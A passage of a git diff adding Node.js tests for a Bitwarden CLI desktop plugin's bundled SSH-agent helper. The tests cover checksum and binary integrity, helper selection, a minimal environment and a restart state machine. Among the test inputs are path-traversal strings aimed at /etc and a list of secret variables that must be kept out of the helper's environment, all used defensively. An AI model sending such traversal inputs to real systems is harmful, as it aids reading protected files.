QtQml.WorkerScript is one of them: importing QtQuick then fails with a +// module-not-installed error that reads like a broken test. +check("every QML module the tests import is installed explicitly", + /qml6-module-qtqml-workerscript/.test(workflow), + "QtQuick's recommended modules are dropped by --no-install-recommends") +// One QML test imports the Omarchy shell by absolute path, which a runner +// does not have. Skipping it is right; skipping it silently, or skipping +// everything and reporting success, is not. +check("a QML test is skipped only for a stated, detected reason", + /\[ ! -d \/usr\/share\/omarchy\/shell\/Ui \]/.test(workflow), + "the skip is unconditional rather than tied to the missing dependency") +check("the skipped files are named in the log", + /::notice::Omarchy shell not installed; skipped/.test(workflow), + "a silent skip looks identical to a passing test") +check("skipping every QML test fails the job", + /every QML test was skipped, so this gate proved nothing/.test(workflow), + "the gate could pass by running nothing at all") + +// A fork cannot push CI's bytes into its own branch, so an unconditional +// match requirement would make every external agent-source PR unmergeable. +check("a fork pull request reports binary drift rather than blocking on it", + /IS_FORK/.test(workflow) && /fork/.test(workflow), + "a fork contributor could never satisfy the binary comparison") +check("a same-repository run still fails on drift", + /::error::the tracked binary does not match/.test(workflow), + "drift is never fatal, so the comparison decides nothing") + +check("dependency updates are told the binary must be rebuilt", + /needs-binary-rebuild/.test(read(".github/dependabot.yml")), + "an accepted dependency bump would fail --compare-tracked with no explanation") + +check("no secrets are referenced", + !/secrets\./.test(workflow), "a build gate should need no secrets") +check("the panel tests get the tools they shell out to", + /jq/.test(workflow) && /openssh-client/.test(workflow), + "the pipeline and signing tests would fail without jq and ssh-keygen") + +if (failures.length) { + console.error(`\n${failures.length} failed, ${pass} passed\n`) + failures.forEach(f => console.error(` FAIL ${f}`)) + process.exit(1) +} +console.log(`ssh-agent-artifact: ${pass} passed`) diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-bundle.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-bundle.test.js new file mode 100644 index 0000000..e653ce6 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-bundle.test.js @@ -0,0 +1,228 @@ +#!/usr/bin/env node +// The plugin ships a compiled helper, so the panel checks it before trusting +// it: that it exists, is executable, is the right architecture, matches its +// recorded checksum, passes its own self-test, and speaks the protocol this +// panel does. Every one of those can fail on a real machine -- a partial +// clone, an LFS placeholder, a stale artifact after `git pull`, a helper from +// a newer plugin version -- and each must disable only this optional feature. +// +// Be clear about what the checksum is for. bin/SHA256SUMS sits beside the +// binary and beside the QML that reads it, so anyone able to replace one can +// replace the others. It is not tamper detection. It catches corruption, +// truncation, and staleness, which are the failures that actually happen. +// +// node tests/ssh-agent-bundle.test.js + +const fs = require("fs") +const os = require("os") +const path = require("path") +const { spawnSync } = require("child_process") + +const repoRoot = path.join(__dirname, "..") +const Model = {} +new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.sshAgentBundledRelative = sshAgentBundledRelative + exports.sshAgentDevelopmentRelative = sshAgentDevelopmentRelative + exports.sshAgentHelperCandidates = sshAgentHelperCandidates + exports.sshAgentHelperInspectCommand = sshAgentHelperInspectCommand + exports.parseSshAgentHelperInspection = parseSshAgentHelperInspection + exports.sshAgentHelperReady = sshAgentHelperReady + exports.sshAgentHelperSourceLabel = sshAgentHelperSourceLabel +`)(Model) + +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) +const eq = (label, actual, expected) => + check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`) + +// ------------------------------------------------------------------------- +// The shipped artifact is really in the repository +// ------------------------------------------------------------------------- + +const bundled = path.join(repoRoot, "bin", "x86_64-linux", "qs-bitwarden-ssh-agent") +const sums = path.join(repoRoot, "bin", "SHA256SUMS") + +check("the helper is tracked in the repository", fs.existsSync(bundled), bundled) +check("its checksum is tracked beside it", fs.existsSync(sums), sums) +check("it is executable", fs.existsSync(bundled) && (fs.statSync(bundled).mode & 0o111) !== 0, + "the shipped helper is not executable, so a fresh clone cannot run it") +check("it is not a Git LFS placeholder", + fs.existsSync(bundled) && !/git-lfs/.test(fs.readFileSync(bundled).subarray(0, 200).toString("latin1")), + "an LFS smudge would leave a text pointer where the binary should be") +check("it is a real ELF binary", + fs.existsSync(bundled) && fs.readFileSync(bundled).subarray(0, 4).toString("latin1") === "\x7fELF", + "no ELF magic") + +const recorded = fs.existsSync(sums) ? fs.readFileSync(sums, "utf8").trim() : "" +check("the checksum file records a path relative to bin/", + /^[0-9a-f]{64}\s+x86_64-linux\/qs-bitwarden-ssh-agent$/.test(recorded), + recorded) +if (fs.existsSync(bundled) && recorded) { + const actual = spawnSync("sha256sum", [bundled], { encoding: "utf8" }).stdout.split(" ")[0] + eq("the tracked binary matches its tracked checksum", actual, recorded.split(/\s+/)[0]) +} + +// ------------------------------------------------------------------------- +// Which helper the panel picks +// ------------------------------------------------------------------------- + +eq("the bundled path is architecture-scoped", + Model.sshAgentBundledRelative(), "bin/x86_64-linux/qs-bitwarden-ssh-agent") +eq("the development path is cargo's debug output", + Model.sshAgentDevelopmentRelative(), "agent/target/debug/qs-bitwarden-ssh-agent") + +const candidates = Model.sshAgentHelperCandidates("/opt/bw") +eq("both candidates are offered", candidates.length, 2) +eq("the shipped helper is preferred", candidates[0].path, "/opt/bw/bin/x86_64-linux/qs-bitwarden-ssh-agent") +eq("the development build is the fallback", candidates[1].path, "/opt/bw/agent/target/debug/qs-bitwarden-ssh-agent") +eq("the preferred one is labelled", candidates[0].source, "bundled") +eq("the fallback is labelled", candidates[1].source, "development") +check("every candidate path is absolute", + candidates.every(c => c.path.charAt(0) === "/"), JSON.stringify(candidates)) +eq("no plugin directory yields no candidates", Model.sshAgentHelperCandidates("").length, 0) +eq("a traversing plugin directory yields no candidates", + Model.sshAgentHelperCandidates("/opt/../etc").length, 0) + +// A development build being present must not hide a broken shipped one from +// the diagnostics, but it should still let the panel run. +check("the source in use is nameable", + Model.sshAgentHelperSourceLabel("bundled").length > 0 + && Model.sshAgentHelperSourceLabel("development").length > 0, + "a user cannot tell which helper is running") +check("the development label says it is not the shipped artifact", + /develop|local|built/i.test(Model.sshAgentHelperSourceLabel("development")), + Model.sshAgentHelperSourceLabel("development")) + +// ------------------------------------------------------------------------- +// The inspection, run against real files +// ------------------------------------------------------------------------- + +function inTemp(fn) { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-bundle-")) + try { return fn(dir) } finally { fs.rmSync(dir, { recursive: true, force: true }) } +} +const inspect = (pluginDir) => { + const cmd = Model.sshAgentHelperInspectCommand(pluginDir) + const run = spawnSync(cmd[0], cmd.slice(1), { encoding: "utf8", env: { PATH: "/usr/bin:/bin" } }) + return Model.parseSshAgentHelperInspection(run.stdout) +} + +// The real repository: a tracked helper that should pass every check. +{ + const result = inspect(repoRoot) + eq("the shipped helper is usable", result.state, "ok") + eq("and is identified as the bundled one", result.source, "bundled") + check("its version is reported", /^\d+\.\d+\.\d+$/.test(result.version), result.version) + eq("its protocol version is reported", result.protocol, 1) + eq("its checksum is confirmed", result.checksum, "match") + eq("its self-test passed", result.selfTest, "pass") + eq("the panel would enable the feature", Model.sshAgentHelperReady(result), true) +} + +// Nothing there at all. +inTemp(dir => { + const result = inspect(dir) + eq("a missing helper is reported", result.state, "missing") + eq("and the feature stays off", Model.sshAgentHelperReady(result), false) + check("the message says what to do", /build|install|clone/i.test(result.message), result.message) +}) + +// Present but not executable -- a clone from an archive that dropped modes. +inTemp(dir => { + const target = path.join(dir, "bin", "x86_64-linux") + fs.mkdirSync(target, { recursive: true }) + fs.copyFileSync(bundled, path.join(target, "qs-bitwarden-ssh-agent")) + fs.chmodSync(path.join(target, "qs-bitwarden-ssh-agent"), 0o644) + fs.mkdirSync(path.join(dir, "bin"), { recursive: true }) + fs.copyFileSync(sums, path.join(dir, "bin", "SHA256SUMS")) + const result = inspect(dir) + eq("a non-executable helper is reported", result.state, "not-executable") + eq("and the feature stays off", Model.sshAgentHelperReady(result), false) +}) + +// Corrupt or truncated -- a partial clone, or an interrupted download. +inTemp(dir => { + const target = path.join(dir, "bin", "x86_64-linux") + fs.mkdirSync(target, { recursive: true }) + const copy = path.join(target, "qs-bitwarden-ssh-agent") + fs.copyFileSync(bundled, copy) + fs.truncateSync(copy, 4096) + fs.chmodSync(copy, 0o755) + fs.copyFileSync(sums, path.join(dir, "bin", "SHA256SUMS")) + const result = inspect(dir) + check("a truncated helper is refused", result.state !== "ok", JSON.stringify(result)) + eq("the checksum is what catches it", result.checksum, "mismatch") + eq("and the feature stays off", Model.sshAgentHelperReady(result), false) + check("the message names staleness or corruption", + /stale|corrupt|match|update/i.test(result.message), result.message) +}) + +// A Git LFS placeholder where the binary should be. +inTemp(dir => { + const target = path.join(dir, "bin", "x86_64-linux") + fs.mkdirSync(target, { recursive: true }) + fs.writeFileSync(path.join(target, "qs-bitwarden-ssh-agent"), + "version https://git-lfs.github.com/spec/v1\noid sha256:deadbeef\nsize 1210560\n", { mode: 0o755 }) + fs.copyFileSync(sums, path.join(dir, "bin", "SHA256SUMS")) + const result = inspect(dir) + check("an LFS placeholder is refused", result.state !== "ok", JSON.stringify(result)) + eq("and the feature stays off", Model.sshAgentHelperReady(result), false) +}) + +// A development build with no shipped artifact: the dev loop must keep working. +inTemp(dir => { + const target = path.join(dir, "agent", "target", "debug") + fs.mkdirSync(target, { recursive: true }) + fs.copyFileSync(bundled, path.join(target, "qs-bitwarden-ssh-agent")) + fs.chmodSync(path.join(target, "qs-bitwarden-ssh-agent"), 0o755) + const result = inspect(dir) + eq("a development build is usable", result.state, "ok") + eq("and is identified as such", result.source, "development") + eq("the feature is enabled from it", Model.sshAgentHelperReady(result), true) + check("no checksum is claimed for an untracked build", + result.checksum === "unchecked", result.checksum) +}) + +// Both present: the shipped artifact wins, but a broken one does not strand +// a developer who has a working local build. +inTemp(dir => { + const shipped = path.join(dir, "bin", "x86_64-linux") + fs.mkdirSync(shipped, { recursive: true }) + fs.writeFileSync(path.join(shipped, "qs-bitwarden-ssh-agent"), "not a binary\n", { mode: 0o755 }) + fs.copyFileSync(sums, path.join(dir, "bin", "SHA256SUMS")) + const dev = path.join(dir, "agent", "target", "debug") + fs.mkdirSync(dev, { recursive: true }) + fs.copyFileSync(bundled, path.join(dev, "qs-bitwarden-ssh-agent")) + fs.chmodSync(path.join(dev, "qs-bitwarden-ssh-agent"), 0o755) + const result = inspect(dir) + eq("a broken shipped helper falls back to the development build", result.state, "ok") + eq("and says which one it used", result.source, "development") +}) + +// ------------------------------------------------------------------------- +// Failure isolation +// ------------------------------------------------------------------------- + +// The settings diagnostics live in SshAgentSettings.qml; the supervision that +// feeds them is still in Panel.qml. Both, or a check lands on whichever half +// happens to hold its pattern today. +const panelSrc = ["Panel.qml", "SshAgentSettings.qml"] + .map(file => fs.readFileSync(path.join(repoRoot, file), "utf8")) + .join("\n") +check("the helper is inspected before the supervisor is allowed to start", + /sshAgentHelperReady\(/.test(panelSrc), "nothing gates startup on the inspection") +check("a failed inspection disables only the agent", + /sshAgentSupervisable[\s\S]{0,400}?sshAgentHelperReady|sshAgentHelperReady[\s\S]{0,400}?sshAgentSupervisable/.test(panelSrc), + "the inspection result does not feed the supervisable gate") +check("the source in use is shown in the settings diagnostics", + /sshAgentHelperSourceLabel\(/.test(panelSrc), + "a user cannot tell whether they are running the shipped or the local helper") + +if (failures.length) { + console.error(`\n${failures.length} failed, ${pass} passed\n`) + failures.forEach(f => console.error(` FAIL ${f}`)) + process.exit(1) +} +console.log(`ssh-agent-bundle: ${pass} passed`) diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-control.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-control.test.js new file mode 100644 index 0000000..a14bdeb --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-control.test.js @@ -0,0 +1,539 @@ +#!/usr/bin/env node +// The panel supervises the SSH companion; it never waits on it. These tests +// cover the pure supervision logic (path resolution, the minimal environment, +// the bounded NDJSON reader, and the restart state machine) and then drive +// that logic with real child processes -- a fake helper and, when it has been +// built, the real one -- so the handshake is proven across the process +// boundary rather than against a mock. +// +// node tests/ssh-agent-control.test.js + +const fs = require("fs") +const os = require("os") +const path = require("path") +const { spawn } = require("child_process") + +const repoRoot = path.join(__dirname, "..") +const Model = {} +new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.pluginDirFromUrl = pluginDirFromUrl + exports.sshAgentHelperPath = sshAgentHelperPath + exports.sshAgentHelperCommand = sshAgentHelperCommand + exports.sshAgentHelperEnv = sshAgentHelperEnv + exports.sshAgentHelloLine = sshAgentHelloLine + exports.sshAgentShutdownLine = sshAgentShutdownLine + exports.parseAgentEvent = parseAgentEvent + exports.sshAgentRestartDelayMs = sshAgentRestartDelayMs + exports.sshAgentInitialState = sshAgentInitialState + exports.sshAgentReduce = sshAgentReduce + exports.sshAgentMaxRestarts = sshAgentMaxRestarts + exports.sshAgentHandshakeTimeoutMs = sshAgentHandshakeTimeoutMs + exports.sshAgentMaxLineBytes = sshAgentMaxLineBytes +`)(Model) + +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) +const eq = (label, actual, expected) => + check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`) + +// ------------------------------------------------------------------------- +// Absolute, plugin-relative helper path +// ------------------------------------------------------------------------- + +eq("plugin dir from a file URL", + Model.pluginDirFromUrl("file:///home/u/.config/omarchy/plugins/bw/"), + "/home/u/.config/omarchy/plugins/bw") +eq("plugin dir keeps a percent-encoded segment", + Model.pluginDirFromUrl("file:///home/u/my%20plugins/bw/"), "/home/u/my plugins/bw") +eq("plugin dir accepts a bare absolute path", Model.pluginDirFromUrl("/opt/bw/"), "/opt/bw") +eq("plugin dir refuses a relative URL", Model.pluginDirFromUrl("plugins/bw"), "") +eq("plugin dir refuses a non-file scheme", Model.pluginDirFromUrl("qrc:/bw/"), "") +eq("plugin dir refuses traversal", Model.pluginDirFromUrl("file:///opt/bw/../../etc/"), "") +eq("plugin dir refuses an encoded traversal", Model.pluginDirFromUrl("file:///opt/bw/%2e%2e/etc/"), "") +eq("plugin dir refuses an empty url", Model.pluginDirFromUrl(""), "") +eq("plugin dir refuses a non-string", Model.pluginDirFromUrl(null), "") + +eq("helper path is plugin-relative and absolute", + Model.sshAgentHelperPath("/opt/bw"), "/opt/bw/agent/target/debug/qs-bitwarden-ssh-agent") +eq("helper path refuses a relative plugin dir", Model.sshAgentHelperPath("opt/bw"), "") +eq("helper path refuses an empty plugin dir", Model.sshAgentHelperPath(""), "") + +// The source is chosen by the bundle inspection (see ssh-agent-bundle.test.js), +// and the command follows it rather than guessing. Launching an unvetted +// binary would defeat the point of inspecting one. +const helperCmd = Model.sshAgentHelperCommand("/opt/bw", "development") +eq("helper runs directly with no shell and no arguments", helperCmd.length, 1) +eq("helper command is the absolute helper path", helperCmd[0], + "/opt/bw/agent/target/debug/qs-bitwarden-ssh-agent") +eq("the shipped helper is launched when that is what was accepted", + Model.sshAgentHelperCommand("/opt/bw", "bundled")[0], + "/opt/bw/bin/x86_64-linux/qs-bitwarden-ssh-agent") +eq("no accepted source launches nothing", Model.sshAgentHelperCommand("/opt/bw", "").length, 0) +eq("an unknown source launches nothing", Model.sshAgentHelperCommand("/opt/bw", "elsewhere").length, 0) +check("helper command never goes through a shell", + !helperCmd.some(a => /^(?:ba)?sh$/.test(path.basename(String(a)))), JSON.stringify(helperCmd)) +eq("helper command is empty without a plugin dir", Model.sshAgentHelperCommand("", "bundled").length, 0) + +// ------------------------------------------------------------------------- +// Minimal environment +// ------------------------------------------------------------------------- + +const env = Model.sshAgentHelperEnv("/run/user/1000") +eq("helper environment carries only XDG_RUNTIME_DIR", Object.keys(env).sort().join(","), "XDG_RUNTIME_DIR") +eq("helper environment points at the runtime dir", env.XDG_RUNTIME_DIR, "/run/user/1000") +for (const banned of ["PATH", "HOME", "BW_SESSION", "BW_PASSWORD", "QSBW_SECRET", "SSH_AUTH_SOCK"]) { + check("helper environment omits " + banned, !(banned in env), JSON.stringify(env)) +} +eq("helper environment refuses a relative runtime dir", Model.sshAgentHelperEnv("run/user/1000"), null) +eq("helper environment refuses an empty runtime dir", Model.sshAgentHelperEnv(""), null) + +// ------------------------------------------------------------------------- +// Bounded NDJSON reader +// ------------------------------------------------------------------------- + +eq("hello is the versioned v1 handshake", Model.sshAgentHelloLine(), '{"v":1,"type":"hello"}\n') +eq("shutdown is a versioned v1 line", Model.sshAgentShutdownLine(), '{"v":1,"type":"shutdown"}\n') + +const ready = Model.parseAgentEvent(JSON.stringify({ + v: 1, type: "ready", socketPath: "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock", + fifoPath: "/run/user/1000/qs-bitwarden-cli/ssh-keys.fifo", agentVersion: "0.1.0" +})) +eq("ready parses", ready.ok, true) +eq("ready keeps its socket path", ready.message.socketPath, "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock") +eq("ready keeps its agent version", ready.message.agentVersion, "0.1.0") + +eq("an empty line is ignored rather than fatal", Model.parseAgentEvent("").code, "EMPTY") +check("an empty line does not fail closed", Model.parseAgentEvent("").fatal === false, + JSON.stringify(Model.parseAgentEvent(""))) +eq("malformed JSON fails closed", Model.parseAgentEvent("{not json").code, "MALFORMED") +check("malformed JSON is fatal", Model.parseAgentEvent("{not json").fatal === true, "not fatal") +eq("a wrong version fails closed", Model.parseAgentEvent('{"v":2,"type":"ready"}').code, "VERSION_MISMATCH") +eq("a missing version fails closed", Model.parseAgentEvent('{"type":"ready"}').code, "VERSION_MISMATCH") +eq("an unknown type fails closed", Model.parseAgentEvent('{"v":1,"type":"exec"}').code, "UNKNOWN_TYPE") +eq("a non-object line fails closed", Model.parseAgentEvent('"ready"').code, "MALFORMED") +eq("a ready missing its socket path fails closed", + Model.parseAgentEvent('{"v":1,"type":"ready","fifoPath":"/f","agentVersion":"1"}').code, "MALFORMED") + +const overlong = '{"v":1,"type":"error","message":"' + "x".repeat(Model.sshAgentMaxLineBytes()) + '"}' +eq("an overlong line fails closed before parsing", Model.parseAgentEvent(overlong).code, "LINE_TOO_LONG") +const multibyte = '{"v":1,"type":"error","message":"' + "é".repeat(Model.sshAgentMaxLineBytes() - 100) + '"}' +eq("the line cap counts bytes, not characters", Model.parseAgentEvent(multibyte).code, "LINE_TOO_LONG") +const justUnder = JSON.stringify({ v: 1, type: "error", code: "X", message: "y".repeat(1024), recoverable: true }) +eq("a line under the cap still parses", Model.parseAgentEvent(justUnder).ok, true) + +// ------------------------------------------------------------------------- +// Supervision state machine +// ------------------------------------------------------------------------- + +const readyLine = JSON.stringify({ + v: 1, type: "ready", socketPath: "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock", + fifoPath: "/run/user/1000/qs-bitwarden-cli/ssh-keys.fifo", agentVersion: "0.1.0" +}) + +function drive(state, events) { + const actions = [] + for (const ev of events) { + const step = Model.sshAgentReduce(state, ev) + state = step.state + actions.push(step.action) + } + return { state, actions, last: actions[actions.length - 1] } +} + +function reachReady(t) { + return drive(Model.sshAgentInitialState(), [ + { kind: "enabled", value: true, nowMs: t }, + { kind: "started", nowMs: t + 1 }, + { kind: "line", line: readyLine, nowMs: t + 2 } + ]) +} + +const initial = Model.sshAgentInitialState() +eq("the supervisor starts disabled", initial.phase, "disabled") +check("the signing gate starts closed", initial.gateOpen === false, JSON.stringify(initial)) + +const inert = drive(Model.sshAgentInitialState(), [ + { kind: "started", nowMs: 0 }, + { kind: "line", line: readyLine, nowMs: 1 }, + { kind: "exited", exitCode: 1, nowMs: 2 }, + { kind: "restartTimer", nowMs: 3 } +]) +eq("disabled mode stays disabled", inert.state.phase, "disabled") +check("disabled mode starts nothing", inert.actions.every(a => !a.start && !a.writeHello), + JSON.stringify(inert.actions)) +check("disabled mode never opens the gate", inert.state.gateOpen === false, JSON.stringify(inert.state)) + +const enabled = drive(Model.sshAgentInitialState(), [{ kind: "enabled", value: true, nowMs: 0 }]) +eq("enabling starts the helper", enabled.last.start, true) +eq("enabling moves to starting", enabled.state.phase, "starting") +check("enabling does not open the gate before the handshake", enabled.state.gateOpen === false, + JSON.stringify(enabled.state)) + +const handshaking = drive(enabled.state, [{ kind: "started", nowMs: 1 }]) +eq("a started helper is sent hello", handshaking.last.writeHello, true) +eq("a started helper is handshaking", handshaking.state.phase, "handshaking") +check("the gate stays closed while handshaking", handshaking.state.gateOpen === false, + JSON.stringify(handshaking.state)) + +const live = reachReady(0) +eq("a v1 ready completes the handshake", live.state.phase, "ready") +check("ready opens the signing gate", live.state.gateOpen === true, JSON.stringify(live.state)) +eq("ready records the socket path", live.state.socketPath, "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock") +eq("ready records the fifo path", live.state.fifoPath, "/run/user/1000/qs-bitwarden-cli/ssh-keys.fifo") +eq("ready records the agent version", live.state.agentVersion, "0.1.0") +check("no reduction ever asks QML to wait", + live.actions.every(a => !("wait" in a) && !("waitMs" in a)), JSON.stringify(live.actions)) + +const badVersion = drive(Model.sshAgentInitialState(), [ + { kind: "enabled", value: true, nowMs: 0 }, + { kind: "started", nowMs: 1 }, + { kind: "line", line: '{"v":2,"type":"ready","socketPath":"/s","fifoPath":"/f","agentVersion":"9"}', nowMs: 2 } +]) +eq("a version mismatch stops the helper", badVersion.last.stop, true) +eq("a version mismatch is reported", badVersion.state.errorCode, "VERSION_MISMATCH") +check("a version mismatch keeps the gate closed", badVersion.state.gateOpen === false, + JSON.stringify(badVersion.state)) + +const garbage = drive(reachReady(0).state, [{ kind: "line", line: "not json at all", nowMs: 100 }]) +eq("a malformed line closes the gate", garbage.state.gateOpen, false) +eq("a malformed line stops the helper", garbage.last.stop, true) +eq("a malformed line is reported", garbage.state.errorCode, "MALFORMED") + +const tooLong = drive(reachReady(0).state, [{ kind: "line", line: overlong, nowMs: 100 }]) +eq("an overlong line closes the gate", tooLong.state.gateOpen, false) +eq("an overlong line is reported", tooLong.state.errorCode, "LINE_TOO_LONG") + +const blank = drive(reachReady(0).state, [{ kind: "line", line: "", nowMs: 100 }]) +eq("a blank line is ignored", blank.state.phase, "ready") +check("a blank line leaves the gate open", blank.state.gateOpen === true, JSON.stringify(blank.state)) + +const passthrough = drive(reachReady(0).state, [{ + kind: "line", nowMs: 100, + line: JSON.stringify({ v: 1, type: "keys_loaded", epoch: 7, keyCount: 2, skipped: [] }) +}]) +eq("a live event stays ready", passthrough.state.phase, "ready") +eq("a live event reaches the panel", passthrough.last.message.type, "keys_loaded") + +const secondReady = drive(reachReady(0).state, [{ kind: "line", line: readyLine, nowMs: 100 }]) +eq("a duplicate ready is a protocol violation", secondReady.state.errorCode, "PROTOCOL") +check("a duplicate ready closes the gate", secondReady.state.gateOpen === false, + JSON.stringify(secondReady.state)) + +const earlyEvent = drive(handshaking.state, [{ + kind: "line", nowMs: 5, line: JSON.stringify({ v: 1, type: "locked", epoch: 1 }) +}]) +eq("an event before ready is a protocol violation", earlyEvent.state.errorCode, "PROTOCOL") + +const stalled = drive(handshaking.state, [{ kind: "handshakeTimeout", nowMs: 9999 }]) +eq("a stalled handshake is bounded", stalled.state.errorCode, "HANDSHAKE_TIMEOUT") +eq("a stalled handshake stops the helper", stalled.last.stop, true) +check("a stalled handshake keeps the gate closed", stalled.state.gateOpen === false, + JSON.stringify(stalled.state)) + +const eof = drive(reachReady(0).state, [{ kind: "exited", exitCode: 0, nowMs: 100 }]) +eq("stdout EOF closes the gate", eof.state.gateOpen, false) +eq("stdout EOF schedules a restart", eof.last.restartInMs, Model.sshAgentRestartDelayMs(1)) +eq("stdout EOF backs off", eof.state.phase, "backoff") + +const restarted = drive(eof.state, [{ kind: "restartTimer", nowMs: 200 }]) +eq("the backoff timer restarts the helper", restarted.last.start, true) +eq("the backoff timer returns to starting", restarted.state.phase, "starting") + +eq("backoff step 1", Model.sshAgentRestartDelayMs(1), 500) +eq("backoff step 2", Model.sshAgentRestartDelayMs(2), 1000) +eq("backoff step 3", Model.sshAgentRestartDelayMs(3), 2000) +check("backoff is capped", Model.sshAgentRestartDelayMs(50) === 30000, + String(Model.sshAgentRestartDelayMs(50))) +check("backoff never goes negative", Model.sshAgentRestartDelayMs(0) >= 0, + String(Model.sshAgentRestartDelayMs(0))) + +// A crash loop: every run dies immediately, so nothing ever counts as healthy. +let loop = Model.sshAgentInitialState() +let loopActions = [] +let clock = 0 +loop = Model.sshAgentReduce(loop, { kind: "enabled", value: true, nowMs: clock }).state +for (let i = 0; i < Model.sshAgentMaxRestarts() + 2; i++) { + clock += 10 + loop = Model.sshAgentReduce(loop, { kind: "started", nowMs: clock }).state + clock += 10 + const step = Model.sshAgentReduce(loop, { kind: "exited", exitCode: 101, nowMs: clock }) + loop = step.state + loopActions.push(step.action) + if (loop.phase !== "backoff") break + clock += 10 + loop = Model.sshAgentReduce(loop, { kind: "restartTimer", nowMs: clock }).state +} +eq("a crash loop stops restarting", loop.phase, "failed") +eq("a crash loop is reported", loop.errorCode, "CRASH_LOOP") +check("a crash loop leaves the gate closed", loop.gateOpen === false, JSON.stringify(loop)) +eq("a crash loop schedules no further restart", loopActions[loopActions.length - 1].restartInMs, -1) +check("a crash loop is bounded by the restart cap", + loopActions.filter(a => a.restartInMs > 0).length === Model.sshAgentMaxRestarts(), + String(loopActions.filter(a => a.restartInMs > 0).length)) + +const failedIgnores = drive(loop, [ + { kind: "restartTimer", nowMs: clock + 1000 }, + { kind: "started", nowMs: clock + 1001 } +]) +eq("a failed supervisor stays failed", failedIgnores.state.phase, "failed") +check("a failed supervisor starts nothing", failedIgnores.actions.every(a => !a.start), + JSON.stringify(failedIgnores.actions)) + +// The loop that actually happens in practice: the helper starts fine, answers +// the handshake, serves briefly, and dies -- over and over. Completing a +// handshake must not wipe the failure history, or a helper that crashes a +// second after every start is restarted forever. +{ + let crashy = Model.sshAgentInitialState() + let scheduled = 0 + let t = 0 + crashy = Model.sshAgentReduce(crashy, { kind: "enabled", value: true, nowMs: t }).state + for (let i = 0; i < Model.sshAgentMaxRestarts() + 3; i++) { + t += 10 + crashy = Model.sshAgentReduce(crashy, { kind: "started", nowMs: t }).state + t += 10 + crashy = Model.sshAgentReduce(crashy, { kind: "line", line: readyLine, nowMs: t }).state + // Serves for well under the healthy threshold, then dies. + t += 1500 + const step = Model.sshAgentReduce(crashy, { kind: "exited", exitCode: 137, nowMs: t }) + crashy = step.state + if (step.action.restartInMs >= 0) scheduled++ + if (crashy.phase !== "backoff") break + t += 10 + crashy = Model.sshAgentReduce(crashy, { kind: "restartTimer", nowMs: t }).state + } + eq("a helper that handshakes then dies still trips the bound", crashy.phase, "failed") + eq("that loop is reported as a crash loop", crashy.errorCode, "CRASH_LOOP") + eq("that loop is bounded by the same restart cap", scheduled, Model.sshAgentMaxRestarts()) + check("that loop leaves the gate closed", crashy.gateOpen === false, JSON.stringify(crashy)) +} + +// A helper that ran healthily for a long time is not a crash loop. +const healthy = drive(reachReady(0).state, [{ kind: "exited", exitCode: 0, nowMs: 10 * 60 * 1000 }]) +eq("a long healthy run resets the backoff", healthy.last.restartInMs, Model.sshAgentRestartDelayMs(1)) +eq("a long healthy run keeps supervising", healthy.state.phase, "backoff") + +const disabledMidflight = drive(reachReady(0).state, [{ kind: "enabled", value: false, nowMs: 100 }]) +eq("disabling stops the helper", disabledMidflight.last.stop, true) +eq("disabling cancels a pending restart", disabledMidflight.last.cancelRestart, true) +eq("disabling returns to disabled", disabledMidflight.state.phase, "disabled") +check("disabling closes the gate", disabledMidflight.state.gateOpen === false, + JSON.stringify(disabledMidflight.state)) + +const disabledDuringBackoff = drive(eof.state, [{ kind: "enabled", value: false, nowMs: 150 }]) +eq("disabling during backoff cancels the restart", disabledDuringBackoff.last.cancelRestart, true) +eq("disabling during backoff is disabled", disabledDuringBackoff.state.phase, "disabled") + +const reEnabled = drive(loop, [{ kind: "enabled", value: false, nowMs: 1 }, { kind: "enabled", value: true, nowMs: 2 }]) +eq("re-enabling clears the crash-loop failure", reEnabled.state.errorCode, "") +eq("re-enabling starts the helper again", reEnabled.last.start, true) + +const stoppingExit = drive(garbage.state, [{ kind: "exited", exitCode: 143, nowMs: 200 }]) +eq("an exit after a protocol stop still backs off", stoppingExit.state.phase, "backoff") +eq("an exit after a protocol stop keeps its error", stoppingExit.state.errorCode, "MALFORMED") + +// ------------------------------------------------------------------------- +// Real child processes +// ------------------------------------------------------------------------- + +const tmpRoot = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-agent-")) +const runtimeDir = path.join(tmpRoot, "run") +fs.mkdirSync(runtimeDir, { mode: 0o700 }) + +function runHelper(command, environment, opts) { + return new Promise(resolve => { + const child = spawn(command[0], command.slice(1), { + env: environment, stdio: ["pipe", "pipe", "pipe"] + }) + let state = Model.sshAgentInitialState() + state = Model.sshAgentReduce(state, { kind: "enabled", value: true, nowMs: 0 }).state + let buffered = "" + let settled = false + // The state at the moment the handshake landed. The exit that follows + // clears the helper's advertised paths by design, so what `ready` carried + // has to be captured while it is still true. + let readyState = null + const messages = [] + const finish = () => { + if (settled) return + settled = true + clearTimeout(guard) + try { child.kill("SIGKILL") } catch (e) {} + resolve({ state, readyState, messages }) + } + const guard = setTimeout(finish, (opts && opts.timeoutMs) || 5000) + + const started = Model.sshAgentReduce(state, { kind: "started", nowMs: 1 }) + state = started.state + if (started.action.writeHello) child.stdin.write(Model.sshAgentHelloLine()) + + child.stdout.on("data", chunk => { + buffered += chunk.toString("utf8") + let nl + while 